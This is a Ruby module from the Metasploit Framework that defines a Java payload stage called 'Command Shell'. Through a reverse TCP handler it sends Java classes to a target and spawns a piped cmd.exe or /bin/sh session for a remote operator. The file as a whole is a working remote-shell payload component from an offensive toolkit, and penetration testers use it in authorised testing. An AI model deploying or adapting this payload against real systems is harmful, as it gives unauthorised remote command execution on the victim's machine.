
##
# $Id: shell.rb 10121 2010-08-23 22:49:43Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/payload/java'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'


module Metasploit3

	# The stager should have already included this
	#include Msf::Payload::Java
	include Msf::Sessions::CommandShellOptions

	def initialize(info = {})
		super(update_info(info,
			'Name'          => 'Command Shell',
			'Version'       => '$Revision: 10121 $',
			'Description'   => 'Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else)',
			'Author'        => [
					'mihi', # all the hard work
					'egypt' # msf integration
				],
			'Platform'      => 'java',
			'Arch'          => ARCH_JAVA,
			'License'       => MSF_LICENSE,
			'Session'       => Msf::Sessions::CommandShell))

		# Order matters.  Classes can only reference classes that have already
		# been sent.  The last .class must implement Stage, i.e. have a start()
		# method.
		@class_files = [
			[ "javapayload", "stage", "Stage.class" ],
			[ "javapayload", "stage", "StreamForwarder.class" ],
			[ "javapayload", "stage", "Exec.class" ],
			[ "javapayload", "stage", "Shell.class" ],
		]
	end

end


